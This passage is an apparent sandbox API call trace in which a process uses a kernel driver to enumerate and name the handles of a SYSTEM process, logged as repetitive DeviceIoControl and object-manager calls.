(Object=0xfffffa8003058b30) returned 0x3d [0136.435] ObQueryNameString (in: Object=0xfffffa80032199e0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.435] ObfDereferenceObject (Object=0xfffffa80032199e0) returned 0x11 [0136.435] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.435] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.435] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x250) returned 0xc0 [0136.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.435] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800305ab30, HandleInformation=0x0) returned 0x0 [0136.435] ObOpenObjectByPointer (in: Object=0xfffffa800305ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b74) returned 0x0 [0136.436] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x86 [0136.436] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b74, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.436] ZwClose (Handle=0xffffffff80000b74) returned 0x0 [0136.436] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.436] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.436] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.437] CloseHandle (hObject=0xc8) returned 1 [0136.437] CloseHandle (hObject=0xc0) returned 1 [0136.437] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.437] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.437] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.437] PsAcquireProcessExitSynchronization () returned 0x0 [0136.437] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.437] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030bf6c0, HandleInformation=0x0) returned 0x0 [0136.437] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.438] PsReleaseProcessExitSynchronization () returned 0x2 [0136.438] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.438] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.438] ObfDereferenceObject (Object=0xfffffa80030bf6c0) returned 0x1 [0136.438] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.438] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.438] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.438] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.438] PsAcquireProcessExitSynchronization () returned 0x0 [0136.438] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.438] ObReferenceObjectByHandle (in: Handle=0x6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030d0d00, HandleInformation=0x0) returned 0x0 [0136.438] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.438] PsReleaseProcessExitSynchronization () returned 0x2 [0136.438] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.438] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.438] ObfDereferenceObject (Object=0xfffffa80030d0d00) returned 0x1 [0136.438] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.438] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.438] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0136.438] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.438] PsAcquireProcessExitSynchronization () returned 0x0 [0136.438] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.438] ObReferenceObjectByHandle (in: Handle=0x280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030cbf20, HandleInformation=0x0) returned 0x0 [0136.438] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.438] PsReleaseProcessExitSynchronization () returned 0x2 [0136.438] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.438] ObQueryNameString (in: Object=0xfffffa80030cbf20, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.438] ObfDereferenceObject (Object=0xfffffa80030cbf20) returned 0x1 [0136.438] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.439] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.439] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0136.439] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.439] PsAcquireProcessExitSynchronization () returned 0x0 [0136.439] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.439] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030cbc80, HandleInformation=0x0) returned 0x0 [0136.439] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.439] PsReleaseProcessExitSynchronization () returned 0x2 [0136.439] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.439] ObQueryNameString (in: Object=0xfffffa80030cbc80, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.439] ObfDereferenceObject (Object=0xfffffa80030cbc80) returned 0x2 [0136.439] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.439] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.439] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0136.439] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.439] PsAcquireProcessExitSynchronization () returned 0x0 [0136.439] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.439] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030cbb30, HandleInformation=0x0) returned 0x0 [0136.439] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.439] PsReleaseProcessExitSynchronization () returned 0x2 [0136.439] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.439] ObQueryNameString (in: Object=0xfffffa80030cbb30, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.439] ObfDereferenceObject (Object=0xfffffa80030cbb30) returned 0x1 [0136.439] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.439] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.439] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.439] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.439] PsAcquireProcessExitSynchronization () returned 0x0 [0136.439] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.439] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030d1230, HandleInformation=0x0) returned 0x0 [0136.440] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.440] PsReleaseProcessExitSynchronization () returned 0x2 [0136.440] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.440] ObQueryNameString (in: Object=0xfffffa80030d1230, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.440] ObfDereferenceObject (Object=0xfffffa80030d1230) returned 0x1 [0136.440] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.440] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.440] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.440] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.440] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.440] PsAcquireProcessExitSynchronization () returned 0x0 [0136.440] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.440] ObReferenceObjectByHandle (in: Handle=0x428, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.440] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.440] PsReleaseProcessExitSynchronization () returned 0x2 [0136.440] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.440] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.440] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.440] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.440] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.440] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.440] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0136.440] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.440] PsAcquireProcessExitSynchronization () returned 0x0 [0136.440] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.440] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0136.440] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.440] PsReleaseProcessExitSynchronization () returned 0x2 [0136.440] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.440] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.440] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0136.440] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.440] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.440] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.440] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0136.441] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.441] PsAcquireProcessExitSynchronization () returned 0x0 [0136.441] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.441] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a004a98830, HandleInformation=0x0) returned 0x0 [0136.441] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.441] PsReleaseProcessExitSynchronization () returned 0x2 [0136.441] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.441] ObQueryNameString (in: Object=0xfffff8a004a98830, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.441] ObfDereferenceObject (Object=0xfffff8a004a98830) returned 0x2 [0136.441] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.441] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.441] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0136.441] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.441] PsAcquireProcessExitSynchronization () returned 0x0 [0136.441] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.441] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800312fbb0, HandleInformation=0x0) returned 0x0 [0136.441] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.441] PsReleaseProcessExitSynchronization () returned 0x2 [0136.441] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.441] ObQueryNameString (in: Object=0xfffffa800312fbb0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.441] ObfDereferenceObject (Object=0xfffffa800312fbb0) returned 0x11 [0136.441] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.441] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.441] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.441] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.441] PsAcquireProcessExitSynchronization () returned 0x0 [0136.441] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.441] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.441] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.441] PsReleaseProcessExitSynchronization () returned 0x2 [0136.441] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.441] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.442] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.442] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.442] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.442] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.442] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.442] PsAcquireProcessExitSynchronization () returned 0x0 [0136.442] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.442] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.442] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.442] PsReleaseProcessExitSynchronization () returned 0x2 [0136.442] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.442] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.442] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.442] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.442] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.442] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.442] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.442] PsAcquireProcessExitSynchronization () returned 0x0 [0136.442] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.442] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.442] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.442] PsReleaseProcessExitSynchronization () returned 0x2 [0136.442] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.442] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.442] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.442] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.442] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.442] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0136.442] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.442] PsAcquireProcessExitSynchronization () returned 0x0 [0136.442] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880054735d0) [0136.443] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f97760, HandleInformation=0x0) returned 0x0 [0136.443] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.443] PsReleaseProcessExitSynchronization () returned 0x2 [0136.443] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0136.443] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.443] ObfDereferenceObject (Object=0xfffffa8002f97760) returned 0x1 [0136.443] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.443] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.443] 